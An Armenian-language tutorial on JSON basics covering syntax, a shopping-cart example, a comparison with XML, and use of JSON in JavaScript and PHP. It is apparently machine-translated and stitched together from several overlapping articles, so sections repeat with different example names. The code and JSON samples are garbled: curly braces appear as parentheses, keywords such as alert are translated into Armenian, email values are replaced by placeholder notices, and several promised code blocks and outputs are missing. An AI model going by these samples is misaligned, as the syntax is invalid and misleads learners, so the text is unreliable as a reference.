json լեզու. JSON: Հիմունքներ

Դուք, անշուշտ, երբևէ լսել եք JSON-ի մասին: Ի՞նչ է դա։ Ի՞նչ կարող է դա անել և ինչպես օգտագործել այն:

Այս ձեռնարկում մենք կանդրադառնանք JSON-ի հիմունքներին և կներառենք հետևյալ կետերը.

• Ի՞նչ է JSON-ը:
• Ինչի համար է օգտագործվում JSON-ը:
• Ինչպե՞ս ստեղծել JSON տող:
• JSON տողի պարզ օրինակ:
• Եկեք համեմատենք JSON-ը և XML-ը:
• Ինչպե՞ս աշխատել JSON-ի հետ JavaScript-ում և PHP-ում:

Ի՞նչ է JSON-ը:

JSON-ը կառուցվածքային տվյալներ պահելու և փոխանցելու պարզ, տեքստի վրա հիմնված միջոց է: Պարզ շարահյուսությամբ դուք կարող եք հեշտությամբ պահել որևէ բան՝ մեկ թվից մինչև տողեր, զանգվածներ և առարկաներ պարզ տեքստում: Դուք կարող եք նաև միավորել զանգվածներն ու օբյեկտները՝ տվյալների բարդ կառուցվածքներ ստեղծելու համար:

Երբ JSON տողը ստեղծվի, հեշտ է այն ուղարկել այլ հավելված կամ ցանցի մեկ այլ վայր, քանի որ այն պարզ տեքստ է:

JSON-ն ունի հետևյալ առավելությունները.

• Այն կոմպակտ է:
• Նրա նախադասությունները հեշտ է կարդալ և կազմել ինչպես մարդկանց, այնպես էլ համակարգիչների կողմից:
• Այն կարող է հեշտությամբ փոխակերպվել տվյալների կառուցվածքի ծրագրավորման լեզուների մեծ մասի համար (թվեր, տողեր, բուլյաններ, զանգվածներ և այլն)
• Ծրագրավորման շատ լեզուներ ունեն գործառույթներ և գրադարաններ JSON կառուցվածքներ կարդալու և ստեղծելու համար:

JSON անունը նշանակում է JavaScript Object Notation: Ինչպես անունն է հուշում, այն հիմնված է օբյեկտների (ինչպես այլ լեզուներով ասոցիատիվ զանգվածների ստեղծման) և զանգվածների սահմանման եղանակի վրա:

Ինչի համար է օգտագործվում JSON-ը:

JSON-ի ամենատարածված օգտագործումը սերվերից բրաուզեր ուղարկելն է: Որպես կանոն, JSON տվյալները առաքվում են AJAX-ի միջոցով, որը թույլ է տալիս զննարկիչին և սերվերին հաղորդակցվել առանց էջը վերաբեռնելու:

Օգտագործողը կտտացնում է ապրանքի մանրապատկերի վրա առցանց խանութում:

Բրաուզերի վրա աշխատող JavaScript-ը առաջացնում է AJAX հարցում սերվերում աշխատող PHP սկրիպտին՝ անցնելով ընտրված արտադրանքի ID-ն:

PHP սկրիպտը տվյալների բազայից ստանում է ապրանքի անվանումը, նկարագրությունը, գինը և այլ տեղեկություններ: Այնուհետև այն տվյալներից կազմում է JSON տող և այն ուղարկում զննարկիչին:

Բրաուզերի վրա աշխատող JavaScript-ը ստանում է JSON տողը, վերծանում է այն և օգտատիրոջ համար ցուցադրում ապրանքի մասին տեղեկատվությունը էջում:

Կարող եք նաև օգտագործել JSON-ը՝ զննարկիչից տվյալներ սերվեր ուղարկելու համար՝ փոխանցելով JSON տողը որպես պարամետր GET կամ POST հարցումներին: Բայց այս մեթոդը ավելի քիչ տարածված է, քանի որ տվյալների փոխանցումը AJAX հարցումների միջոցով կարող է պարզեցվել: Օրինակ, ապրանքի ID-ն կարող է ներառվել URL-ում որպես GET հարցումի մաս:

jQuery գրադարանն ունի մի քանի մեթոդներ, ինչպիսիք են getJSON() և parseJSON(), որոնք հեշտացնում են JSON-ի միջոցով տվյալների առբերումը AJAX հարցումների միջոցով:

Ինչպե՞ս ստեղծել JSON տող:

Կան մի քանի հիմնական կանոններ JSON տող ստեղծելու համար.

• JSON տողը պարունակում է կամ արժեքների զանգված կամ օբյեկտ (անուն/արժեք զույգերի ասոցիատիվ զանգված):
• Զանգվածփակցված է քառակուսի փակագծերում ([ և ]) և պարունակում է ստորակետերով բաժանված արժեքների ցանկ:
• Օբյեկտփակցված է գանգուր փակագծերում (( և )) և պարունակում է անուն/արժեք զույգերի ստորակետերով բաժանված ցուցակ:
• անուն/արժեք զույգբաղկացած է դաշտի անվանումից, որը փակցված է կրկնակի չակերտներով, որին հաջորդում է երկու կետ (:) և դաշտի արժեքը:
• Իմաստըզանգվածում կամ օբյեկտում կարող են լինել.
  • Թիվ (ամբողջ կամ լողացող կետ)
  • Տող (կրկնակի չակերտներով)
  • Բուլյան արժեք (ճշմարիտ կամ սխալ)
  • Մեկ այլ զանգված (փակված է քառակուսի փակագծերում)
  • Մեկ այլ առարկա (փակված գանգուր ամրագոտիներով)
  • զրոյական արժեք

Տողի մեջ կրկնակի չակերտներ ներառելու համար հարկավոր է օգտագործել հետշեղը՝ \": Ինչպես ծրագրավորման շատ լեզուների դեպքում, դուք կարող եք հսկիչ նիշեր և վեցանկյուն կոդեր տեղադրել տողի մեջ՝ դրանցից առաջ անցնելով հետշեղով: Մանրամասների համար տես JSON-ի կայքը:

Պարզ JSON լարային օրինակ

Ստորև բերված է JSON ձևաչափով պատվիրելու օրինակ.

( «orderID»: 12345, «shopperName»: «Vanya Ivanov», «shopperEmail»: [էլփոստը պաշտպանված է]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], «պատվերն ավարտված է»: ճշմարիտ )

Եկեք մանրամասն նայենք տողին.

• Մենք ստեղծում ենք օբյեկտ՝ օգտագործելով գանգուր փակագծեր (( և )):
• Օբյեկտն ունի մի քանի անուն/արժեք զույգ՝ «orderID»: 12345 «orderId» անունով հատկություն և 12345 «shopperName» ամբողջ արժեք. «Vanya Ivanov» սեփականություն՝ «shopperName» անունով և լարային արժեք՝ «Vanya Ivanov»: " "shopperEmail": " [էլփոստը պաշտպանված է]« «shopperEmail» անունով հատկություն՝ տողային արժեքով» [էլփոստը պաշտպանված է]« «բովանդակություն».
• «Բովանդակություն» զանգվածում կա 2 օբյեկտ, որոնք ներկայացնում են պատվերի առանձին տարրեր: Յուրաքանչյուր օբյեկտ պարունակում է 3 հատկություն՝ productID, productName և քանակություն:

Ի դեպ, քանի որ JSON-ը հիմնված է JavaScript օբյեկտների հայտարարագրման վրա, դուք կարող եք արագ և հեշտությամբ վերը նշված JSON տողը դարձնել JavaScript օբյեկտ.

var cart = ( «պատվերի ID»: 12345, «shopperName»: «Վանյա Իվանով», «shopperEmail»: [էլփոստը պաշտպանված է]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true);

JSON-ի և XML-ի համեմատություն

Շատ առումներով դուք կարող եք JSON-ի մասին մտածել որպես XML-ի այլընտրանք, գոնե վեբ հավելվածների տարածքում: AJAX-ի հայեցակարգն ի սկզբանե հիմնված էր XML-ի օգտագործման վրա՝ սերվերի և բրաուզերի միջև տվյալների փոխանցման համար: Սակայն վերջին տարիներին JSON-ն ավելի ու ավելի տարածված է դարձել AJAX տվյալների փոխադրման համար:

Թեև XML-ը ապացուցված տեխնոլոգիա է, որն օգտագործվում է բավականին մեծ թվով հավելվածներում, JSON-ն ունի առավել կոմպակտ և ավելի հեշտ ճանաչելի տվյալների ձևաչափ լինելու առավելությունը:

Ահա թե ինչ տեսք կունենա վերը նշված օրինակի օբյեկտը XML-ում.

պատվերի ID 12345 գնորդի անունը Վանյա Իվանով գնորդ Էլփոստ [էլփոստը պաշտպանված է]բովանդակություն productID 34 productName Super արտադրանքի քանակություն 1 productID 56 productName Miracle ապրանքի քանակություն 3 պատվեր Ավարտված է ճիշտ

XML տարբերակը զգալիորեն ավելի մեծ է: Իրականում այն ​​1128 նիշ է, մինչդեռ JSON տարբերակը ընդամենը 323 նիշ է: XML տարբերակը նույնպես բավականին դժվար է հասկանալ:

Իհարկե, սա արմատական ​​օրինակ է։ Եվ հնարավոր է ստեղծել ավելի կոմպակտ XML գրառում: Բայց նույնիսկ այն զգալիորեն ավելի երկար կլինի, քան JSON-ի համարժեքը:

JavaScript-ում JSON տողի հետ աշխատելը

JSON-ն ունի պարզ ձևաչափ, բայց ձեռքով JSON տող ստեղծելը բավականին հոգնեցուցիչ է: Բացի այդ, դուք հաճախ պետք է վերցնեք JSON տող, փոխարկեք դրա բովանդակությունը փոփոխականի, որը կարող է օգտագործվել կոդում:

Ծրագրավորման լեզուներից շատերն ունեն գործիքներ՝ փոփոխականները JSON տողերի հեշտությամբ փոխարկելու համար և հակառակը:

Փոփոխականից JSON տողի ստեղծում

JavaScript-ն ունի ներկառուցված JSON.stringify() մեթոդ, որը վերցնում է փոփոխական և վերադարձնում JSON տող, որը ներկայացնում է դրա բովանդակությունը: Օրինակ, եկեք ստեղծենք JavaScript օբյեկտ, որը պարունակում է մեր օրինակի պատվերի մասին տեղեկությունները, և դրանից հետո ստեղծենք JSON տող.

var cart = ( «պատվերի ID»: 12345, «shopperName»: «Վանյա Իվանով», «shopperEmail»: [էլփոստը պաշտպանված է]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true (JSON.stringify(cart));

Այս կոդը կստեղծի.

Նկատի ունեցեք, որ JSON.stringify() մեթոդը վերադարձնում է JSON տող առանց բացատների: Այն ավելի դժվար է կարդալ, բայց ավելի կոմպակտ է ցանցի միջոցով փոխանցելու համար:

JavaScript-ում JSON տողը վերլուծելու մի քանի եղանակ կա, բայց ամենաապահովն ու հուսալին ներկառուցված JSON.parse() մեթոդի օգտագործումն է: Այն ստանում է JSON տող և վերադարձնում JavaScript օբյեկտ կամ զանգված, որը պարունակում է տվյալներ: Օրինակ:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [էլփոստը պաշտպանված է]", \ "բովանդակություն": [ \ ( \ "productID": 34, \ "productName": "Super product", \ "quant": 1 \), \ ( \ "productID": 56, \ "productName": "Հրաշք ապրանքներ", \"քանակ"՝ 3\ ) \ ], \"պատվերը Ավարտված է"՝ ճշմարիտ \ ) \"; var cart = JSON.parse (jsonString); զգուշացում (cart.shopperEmail); զգուշացում (cart.contents.productName);

Մենք ստեղծեցինք jsonString փոփոխական, որը պարունակում է մեր օրինակի կարգի JSON տողը: Այնուհետև մենք փոխանցում ենք այս տողը JSON.parse() մեթոդին, որը ստեղծում է JSON տվյալներ պարունակող օբյեկտ և պահում այն ​​զամբյուղի փոփոխականում: Մնում է միայն ստուգել՝ ցուցադրելով shopperEmail օբյեկտի հատկությունները և բովանդակության զանգվածի productName:

Արդյունքում մենք կստանանք հետևյալ արդյունքը.

Իրական հավելվածում ձեր JavaScript կոդը կստանա պատվերը որպես JSON տող AJAX պատասխանում սերվերի սկրիպտից, տողը կփոխանցի JSON.parse() մեթոդին և այնուհետև օգտագործի տվյալները՝ այն օգտագործողի էջում ցուցադրելու համար:

JSON.stringify()-ը և JSON.parse()-ն ունեն այլ հնարավորություններ, օրինակ՝ օգտագործելով հետադարձ կապի գործառույթները՝ որոշակի տվյալներ հատուկ փոխակերպելու համար: Նման տարբերակները շատ օգտակար են տարբեր տվյալներ ճիշտ JavaScript օբյեկտների փոխակերպելու համար:

PHP-ում JSON տողի հետ աշխատելը

PHP-ն, ինչպես JavaScript-ը, ունի ներկառուցված գործառույթներ JSON տողերի հետ աշխատելու համար։

PHP փոփոխականից JSON տողի ստեղծում

json_encode() ֆունկցիան վերցնում է PHP փոփոխական և վերադարձնում JSON տող, որը ներկայացնում է փոփոխականի բովանդակությունը։ Ահա մեր պատվերի օրինակը՝ գրված PHP-ով.

Այս կոդը վերադարձնում է ճիշտ նույն JSON տողը, ինչ JavaScript-ի օրինակում.

(" orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [էլփոստը պաշտպանված է]","contents":[("productID":34,"productName":"Super product","quantity":1),("productID":56,"productName":"Miracle product","quantity": 3)]"պատվերն ավարտված է":true)

Իրական հավելվածում ձեր PHP սկրիպտը կուղարկի այս JSON տողը որպես AJAX պատասխանի մաս դիտարկիչին, որտեղ JavaScript կոդը, օգտագործելով JSON.parse() մեթոդը, այն նորից կվերլուծի փոփոխականի՝ օգտվողի էջում ցուցադրելու համար: .

Դուք կարող եք տարբեր դրոշներ փոխանցել որպես երկրորդ արգումենտ json_encode() ֆունկցիային: Նրանց օգնությամբ դուք կարող եք փոխել փոփոխականների բովանդակությունը JSON տողի կոդավորման սկզբունքները։

Ստեղծեք փոփոխական JSON տողից

JSON տողը PHP փոփոխականի փոխարկելու համար օգտագործեք json_decode() մեթոդը: Եկեք փոխարինենք JavaScript-ի մեր օրինակը JSON.parse() մեթոդով PHP կոդով.

Ինչպես JavaScript-ի դեպքում, այս կոդը կստեղծի.

[էլփոստը պաշտպանված է]Հրաշք արտադրանք

Լռելյայնորեն, json_decode() ֆունկցիան վերադարձնում է JSON օբյեկտները որպես PHP օբյեկտներ: Կան stdClass դասի ընդհանուր PHP օբյեկտներ։ Ահա թե ինչու մենք օգտագործում ենք -> վերը նշված օրինակում գտնվող օբյեկտի հատկություններին մուտք գործելու համար:

Եթե ​​Ձեզ անհրաժեշտ է JSON օբյեկտ՝ որպես հարակից PHP զանգված, դուք պետք է փոխանցեք true որպես երկրորդ արգումենտ json_decode() ֆունկցիային: Օրինակ:

$cart = json_decode ($jsonString, true); echo $cart["shopperEmail"] . «
"; echo $cart["contents"]["productName"] ։
";

Այս կոդը կստեղծի նույն արդյունքը.

[էլփոստը պաշտպանված է]Հրաշք արտադրանք

Կարող եք նաև այլ արգումենտներ փոխանցել json_decode() ֆունկցիաին՝ նշելու ռեկուրսիայի խորությունը և մեծ ամբողջ թվերի հետ աշխատելու եղանակը:

Եզրակացություն

Թեև JSON-ը հեշտ է հասկանալ և օգտագործել, այն շատ օգտակար և ճկուն գործիք է հավելվածների և համակարգիչների միջև տվյալների փոխանցման համար, հատկապես AJAX-ի օգտագործման դեպքում: Եթե ​​դուք նախատեսում եք մշակել AJAX հավելված, ապա կասկած չկա, որ JSON-ը կդառնա ձեր սեմինարի հիմնական գործիքը:

Ի՞նչ է JSON-ը և ի՞նչ կարող է դա անել: Այս հոդվածում դուք կսովորեք, թե ինչպես օգտագործել JSON-ը տվյալների հետ հեշտությամբ աշխատելու համար: Մենք նաև կդիտարկենք, թե ինչպես աշխատել JSON-ի հետ՝ օգտագործելով PHP և JavaScript:

Եթե ​​դուք մշակել եք վեբ կայքեր կամ ընդհանրապես վեբ հավելվածներ, հավանական է, որ լսել եք JSON-ի մասին, համենայն դեպս: Բայց կոնկրետ ինչ է նշանակում JSON: Ի՞նչ կարող է անել այս տվյալների ձևաչափը և ինչպես կարող է այն օգտագործվել:

Այս հոդվածում մենք կսովորենք json ձևաչափի հետ աշխատելու հիմունքները: Հետևելու ենք հետևյալ թեմաներին.

• Ի՞նչ է JSON ձևաչափը:
• Ինչպե՞ս ստեղծել JSON տողեր:
• JSON տվյալների պարզ օրինակ
• Համեմատելով JSON-ը XML-ի հետ

Եկ սկսենք!

Ի՞նչ է JSON ձևաչափը:

JSON-ը կառուցվածքային տվյալներ պահելու և փոխանցելու պարզ, տեքստի վրա հիմնված միջոց է: Պարզ շարահյուսությամբ դուք հեշտությամբ կարող եք պահել ինչպես պարզ թվեր և տողեր, այնպես էլ զանգվածներ և առարկաներ՝ օգտագործելով ոչ ավելին, քան տեքստը: Կարող եք նաև կապել օբյեկտները և զանգվածները, ինչը թույլ է տալիս ստեղծել տվյալների բարդ կառուցվածքներ:

Երբ JSON տողը ստեղծվի, այն հեշտությամբ կարող է ուղարկվել ցանկացած հավելված կամ համակարգիչ, քանի որ այն պարզապես տեքստ է:

JSON-ն ունի բազմաթիվ առավելություններ.

• Այն կոմպակտ է
• Այն ընթեռնելի է մարդու կողմից և հեշտ է կարդալ համակարգիչների կողմից
• Այն կարող է հեշտությամբ փոխակերպվել ծրագրային ձևաչափերի՝ թվային արժեքներ, տողեր, բուլյան ձևաչափ, զրոյական արժեք, զանգվածներ և ասոցիատիվ զանգվածներ:
• Գրեթե բոլոր ծրագրավորման լեզուներն ունեն գործառույթներ, որոնք թույլ են տալիս կարդալ և ստեղծել json տվյալների ձևաչափ:

Բառացիորեն JSON հապավումը նշանակում է JavaScript Object Notation: Ինչպես նկարագրվեց ավելի վաղ, այս ձևաչափը հիմնված է օբյեկտների ստեղծման վրա, որը նման է այլ ծրագրավորման լեզուների ասոցիատիվ զանգվածներին:

Ինչ նպատակների համար է օգտագործվում JSON-ը:

Ամենից շատ json-ն օգտագործվում է javascript-ի և սերվերի կողմի (php) միջև տվյալների փոխանակման համար։ Այսինքն՝ ajax տեխնոլոգիայի համար։ Սա շատ հարմար է, երբ դուք փոխանցում եք բազմաթիվ փոփոխականներ կամ ամբողջական տվյալների զանգվածներ:

Ահա թե ինչ տեսք ունի այն օրինակում.

Օգտագործողը սեղմում է մանրապատկերի պատկերը

JavaScript-ը մշակում է այս իրադարձությունը և ajax հարցում է ուղարկում PHP սկրիպտին՝ փոխանցելով պատկերի ID-ն:

Սերվերում php-ը ստանում է նկարի նկարագրությունը, նկարի անվանումը, մեծ պատկերի հասցեն և տվյալների բազայից այլ տեղեկություններ: Ստանալով այն՝ այն փոխակերպում է JSON ձևաչափի և հետ է ուղարկում օգտատիրոջ էջ։

JavaScript-ը պատասխանը ստանում է JSON-ի տեսքով, մշակում է տվյալները, գեներացնում է html կոդ և ցուցադրում ընդլայնված պատկեր՝ նկարագրությամբ և այլ տեղեկություններով։

Այսպես է մեծացվում պատկերը՝ առանց էջը բրաուզերում վերաբեռնելու։ Սա շատ հարմար է, երբ մեզ անհրաժեշտ է մասնակի տվյալներ ստանալ, կամ փոքր քանակությամբ տեղեկատվություն փոխանցել սերվերին:

Բոլորի սիրելի jQuery-ն ունի getJSON() և parseJSON() ֆունկցիաները, որոնք օգնում են ձեզ աշխատել ձևաչափի հետ ajax հարցումների միջոցով:

Ինչպե՞ս ստեղծել JSON տողեր:

Ստորև բերված են JSON տողերի ստեղծման հիմնական կանոնները.

• JSON տողը պարունակում է և՛ արժեքների զանգված, և՛ օբյեկտ (ասոցիատիվ զանգված՝ անուն/արժեք զույգերով):
• Զանգվածը պետք է փաթաթված լինի [ և ] քառակուսի փակագծերում և կարող է պարունակել արժեքների ցանկ, որոնք բաժանված են կոմայի մեջ:
• Օբյեկտները փաթաթված են գանգուր ձեռքերով, ( և ), ինչպես նաև պարունակում են կոմայի մեջ առանձնացված անուն/արժեք զույգեր:
• Անուն/արժեք զույգերը բաղկացած են դաշտի անունից (կրկնակի չակերտներով), որին հաջորդում է երկու կետ (:), որին հաջորդում է դաշտի արժեքը:
• Զանգվածի կամ օբյեկտի արժեքները կարող են լինել.
  • Թվային (ամբողջական կամ կետավոր կոտորակ)
  • Տողեր (կրկնակի չակերտներով փաթաթված)
  • Բուլյան (ճիշտ կամ կեղծ)
  • Այլ զանգվածներ (փաթաթված քառակուսի փակագծերում [ և ])
  • Այլ առարկաներ (փաթաթված գանգուր ձեռքերով ( և ))
  • Զուր արժեք

Կարևոր!

Եթե ​​արժեքների մեջ օգտագործում եք կրկնակի չակերտներ, ապա դրանցից խուսափեք հետշեղով.

JSON տվյալների պարզ օրինակ

Հետևյալ օրինակը ցույց է տալիս, թե ինչպես կարող եք տվյալները պահել առցանց խանութի «զամբյուղում»՝ օգտագործելով JSON ձևաչափը. [էլփոստը պաշտպանված է](«պատվերի ID»: 12345, «shopperName»: «John Smith», «shopperEmail»:

", "բովանդակություն". ], «պատվերն ավարտված է»: ճշմարիտ )

Եկեք այս տվյալները մաս առ մաս բաժանենք.

Սկզբում և վերջում մենք օգտագործում ենք գանգուր ձեռքերը ( և )՝ պարզելու համար, որ սա օբյեկտ է:

Օբյեկտի ներսում մենք ունենք մի քանի անուն/արժեք զույգ.

«orderID»: 12345 - orderId անունով դաշտ և արժեքը 12345

«shopperName»: «John Smith» - դաշտ, որը կոչվում է shopperName և արժեքը John Smith

«shopperEmail»: «johnsmith@ example.com» - նախորդ դաշտի նման, այստեղ պահվում է գնորդի էլ.

«բովանդակություն»: [ ... ] - բովանդակություն անունով դաշտ, որի արժեքը զանգված է:

«orderCompleted»: ճշմարիտ - orderCompleted անունով դաշտ, որի արժեքը ճշմարիտ է

Բովանդակության զանգվածի ներսում մենք ունենք երկու օբյեկտ, որոնք ցուցադրում են զամբյուղի պարունակությունը: Յուրաքանչյուր ապրանքի օբյեկտ ունի երեք հատկություն՝ productID, productName, քանակ:

Վերջապես, քանի որ JSON-ը նույնական է JavaScript-ի օբյեկտներին, կարող եք հեշտությամբ վերցնել այս օրինակը և դրանից ստեղծել JavaScript օբյեկտ. [էլփոստը պաշտպանված է] var cart = («պատվերի ID»: 12345, «shopperName»: «John Smith», «shopperEmail»:

", "բովանդակություն". ], "orderCompleted": true );

Համեմատելով JSON-ը XML-ի հետ

Թեև XML-ը փորձված և փորձարկված տեխնոլոգիա է, որն օգտագործվում է բազմաթիվ հավելվածների կողմից, JSON ձևաչափի առավելություններն այն են, որ այն ավելի կոմպակտ է և հեշտ գրելու և կարդալու համար:

Ահա վերը նշված JSON օրինակը, որը վերագրված է միայն XML ձևաչափով.

orderID 12345 գնորդի անունը Ջոն Սմիթ գնորդ Էլփոստ [էլփոստը պաշտպանված է]բովանդակություն productID 34 productName SuperWidget քանակություն 1 productID 56 productName WonderWidget քանակ 3 պատվեր Ավարտված է ճիշտ

Ինչպես տեսնում եք, այն մի քանի անգամ ավելի երկար է, քան JSON-ը։ Փաստորեն, այս օրինակը 1128 նիշ է, մինչդեռ JSON տարբերակը ընդամենը 323 նիշ է: XML տարբերակը նույնպես ավելի դժվար է կարդալ:

Բնականաբար, չի կարելի դատել միայն մեկ օրինակով, բայց նույնիսկ փոքր քանակությամբ տեղեկատվություն JSON ձևաչափում ավելի քիչ տեղ է զբաղեցնում, քան XML-ում:

Ինչպե՞ս աշխատել JSON-ի հետ PHP-ի և JS-ի միջոցով:

Այժմ մենք հասնում ենք ամենահետաքրքիր մասին՝ JSON ձևաչափի գործնական կողմին: Նախ, եկեք հարգանքի տուրք մատուցենք JavaScript-ին, այնուհետև կտեսնենք, թե ինչպես կարող եք շահարկել JSON-ը PHP-ի միջոցով:

JSON ձևաչափի ստեղծում և ընթերցում՝ օգտագործելով JavaScript

Չնայած JSON ձևաչափը պարզ է, դժվար է ձեռքով գրել վեբ հավելվածներ մշակելիս: Ավելին, դուք հաճախ պետք է JSON տողերը փոխարկեք փոփոխականների և այնուհետև օգտագործեք դրանք ձեր կոդում:

Բարեբախտաբար, շատ ծրագրավորման լեզուներ ապահովում են JSON տողերի հետ աշխատելու գործիքներ: Որի հիմնական գաղափարը.

JSON տողեր ստեղծելու համար դուք սկսում եք որոշ արժեքներ պարունակող փոփոխականներից, այնուհետև դրանք փոխանցում եք ֆունկցիայի միջոցով, որը տվյալները վերածում է JSON տողի:

Ընթերցելով JSON տողերը՝ դուք սկսում եք JSON տողով, որը պարունակում է որոշակի տվյալներ, փոխանցում է տողը մի ֆունկցիայի միջով, որը ստեղծում է տվյալներ պարունակող փոփոխականներ:

Տեսնենք, թե ինչպես է դա արվում JavaScript-ում:

JavaScript փոփոխականից JSON տողի ստեղծում

JavaScript-ն ունի ներկառուցված մեթոդ՝ JSON.stringify(), որը վերցնում է javascript փոփոխական և վերադարձնում է json տող, որը ներկայացնում է փոփոխականի բովանդակությունը։ Օրինակ, եկեք օգտագործենք նախկինում ստեղծված օբյեկտ և փոխարկենք այն JSON տողի:

Վերջապես, քանի որ JSON-ը նույնական է JavaScript-ի օբյեկտներին, կարող եք հեշտությամբ վերցնել այս օրինակը և դրանից ստեղծել JavaScript օբյեկտ. [էլփոստը պաշտպանված է]", "բովանդակություն". ], «orderCompleted»: true alert (JSON.stringify(cart));

Ահա թե ինչ կհայտնվի էկրանին.

(" orderID":12345,"shopperName":"John Smith","shopperEmail":" [էլփոստը պաշտպանված է]", "բովանդակություն":[("productID":34,"productName":"SuperWidget", "quantity":1), ("productID":56,"productName":"WonderWidget","քանակ":3) ], «պատվերն ավարտված է»:true)

Նկատի ունեցեք, որ JSON.stringify()-ը թողարկում է JSON տողեր առանց բացատների: Դժվար է կարդալ, բայց ավելի կոմպակտ է, ինչը կարևոր է տվյալներ ուղարկելիս:

JSON տողից JavaScript փոփոխականի ստեղծում

JSON տողերը վերլուծելու մի քանի եղանակ կա, ամենաընդունելին և անվտանգը JSON.parse() մեթոդի օգտագործումն է: Այն վերցնում է JSON տող և վերադարձնում է JavaScript օբյեկտ կամ զանգված, որը պարունակում է JSON տվյալներ: Ահա մի օրինակ.

var jsonString = " \ ( \ "պատվերի ID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [էլփոստը պաշտպանված է]", \ "բովանդակություն": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quant": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \ "քանակ"՝ 3 \ ) \ ], \ "պատվերը Ավարտված է"՝ ճշմարիտ \ ) \ "; var cart = JSON.parse (jsonString); զգուշացում (cart.shopperEmail); զգուշացում (cart.contents.productName);

Այստեղ մենք ստեղծեցինք փոփոխական՝ jsonString, որը պարունակում է JSON տողը նախկինում ներկայացված օրինակներից։ Այնուհետև մենք փոխանցեցինք այս տողը JSON.parse() միջով՝ JSON տվյալներ պարունակող օբյեկտ ստեղծելու համար, որը պահվում էր զամբյուղի փոփոխականում։ Ի վերջո, մենք ստուգում ենք տվյալների առկայությունը և ցուցադրում ենք որոշ տեղեկություններ՝ օգտագործելով ազդանշանային մոդալ պատուհանը:

Հետևյալ տեղեկատվությունը կցուցադրվի.

Իրական վեբ հավելվածում ձեր JavaScript կոդը պետք է ստանա JSON տող՝ որպես պատասխան սերվերից (AJAX հարցում ուղարկելուց հետո), այնուհետև վերլուծել տողը և ցուցադրել զամբյուղի բովանդակությունը օգտվողին:

PHP-ի միջոցով JSON ձևաչափի ստեղծում և ընթերցում

PHP-ն, ինչպես JavaScript-ը, ունի գործառույթներ, որոնք թույլ են տալիս փոփոխականները փոխարկել JSON ձևաչափի և հակառակը: Եկեք նայենք նրանց:

PHP փոփոխականից JSON տողի ստեղծում

Json_encode()-ը վերցնում է PHP փոփոխական և վերադարձնում JSON տող, որը ներկայացնում է փոփոխականի տվյալները: Ահա PHP-ով գրված «զամբյուղի» մեր օրինակը.

Այս կոդը արտադրում է ճիշտ նույն արդյունքը, ինչ JavaScript-ի օրինակը՝ վավեր JSON տող, որը ներկայացնում է փոփոխականների բովանդակությունը.

(" orderID":12345,"shopperName":"John Smith","shopperEmail":" [էլփոստը պաշտպանված է]""բովանդակություն":[("productID":34,"productName":"SuperWidget", "quantity":1),("productID":56,"productName":"WonderWidget","քանակ":3) ]"պատվերն ավարտված է":true)

Իրականում, ձեր PHP սկրիպտը պետք է ուղարկի JSON տող՝ որպես AJAX հարցման պատասխան, որտեղ JavaScript-ը կօգտագործի JSON.parse() տողը փոփոխականների վերածելու համար:

json_encode() ֆունկցիայի մեջ կարող եք նշել լրացուցիչ պարամետրեր, որոնք թույլ են տալիս որոշ նիշեր վերածել վեցանկյունի:

JSON տողից PHP փոփոխականի ստեղծում

Վերոհիշյալի նման, կա json_decode() ֆունկցիա, որը թույլ է տալիս վերծանել JSON տողերը և բովանդակությունը տեղադրել փոփոխականների մեջ:

Ինչպես JavaScript-ի դեպքում, այս կոդը կարտադրի հետևյալը.

[էլփոստը պաշտպանված է] WonderWidget

Լռելյայնորեն, json_decode()-ը վերադարձնում է JSON օբյեկտները որպես PHP օբյեկտներ: Սովորական շարահյուսության նման, մենք օգտագործում ենք -> օբյեկտի հատկությունները մուտք գործելու համար:

Եթե ​​հետագայում ցանկանում եք օգտագործել տվյալները որպես ասոցիատիվ զանգված, պարզապես փոխանցեք երկրորդ պարամետրը json_decode() ֆունկցիային: Ահա մի օրինակ.

$cart = json_decode ($jsonString, true); echo $cart["shopperEmail"] . «
"; echo $cart["contents"]["productName"] ։
";

Սա բերում է նույն արդյունքը.

[էլփոստը պաշտպանված է] WonderWidget

Դուք կարող եք նաև լրացուցիչ արգումենտներ փոխանցել json_decode() ֆունկցիային՝ որոշելու մեծ թվերի մշակումը և ռեկուրսիան։

Եզրափակելով JSON ձևաչափի մասին

Եթե ​​դուք պատրաստվում եք ստեղծել վեբ հավելված՝ օգտագործելով Ajax տեխնոլոգիան, դուք, անշուշտ, կօգտագործեք JSON ձևաչափը՝ սերվերի և բրաուզերի միջև տվյալների փոխանակման համար:

JSON-ը տվյալների ձայնագրման տեքստային ձևաչափ է: Այն թույլ է տալիս տեքստային ձևով ներկայացնել ինչպես մեկ թիվ կամ տող, այնպես էլ բարդ կառուցվածքներ, օրինակ՝ զանգվածներ տվյալների հետ: Ձայնագրման այս ձևաչափի օգտագործումը հարմար է, քանի որ այն ընթեռնելի և ինտուիտիվ է, միևնույն ժամանակ թույլ է տալիս պահպանել տվյալների շատ բարդ կառուցվածքներ: Բացի այդ, այն ավելի կոմպակտ է, քան xml-ը, ուստի, իմ կարծիքով, ավելի նախընտրելի է վեբ բրաուզերի և սերվերի միջև տվյալների փոխանակման համար։

JSON շարահյուսություն օրինակներով

json ձևաչափը սովորաբար գրվում է 2 տարբերակով.

1. Արժեքների հաջորդականություն. Օրինակ, 10, 15 հաջորդականությունը և «փորձարկումը» JSON ձևաչափով կունենա հետևյալ տեսքը.

2. Ձայնագրում բանալի ձևով՝ արժեքային զույգեր։ Օրինակ:

(«Լրիվ անուն»՝ «Իվանով Սերգեյ», «Ծննդյան ամսաթիվ»՝ «03/09/1975»)

Մի փոքր ավելի բարդ օրինակ.

(«Լրիվ անուն»՝ «Իվանով Սերգեյ», «Հասցե»՝ («Քաղաք»՝ «Մոսկվա», «Փողոց». «Պյատնիցկայա», «Տուն»՝ «35») )

PHP գործառույթներ JSON ձևաչափով աշխատելու համար

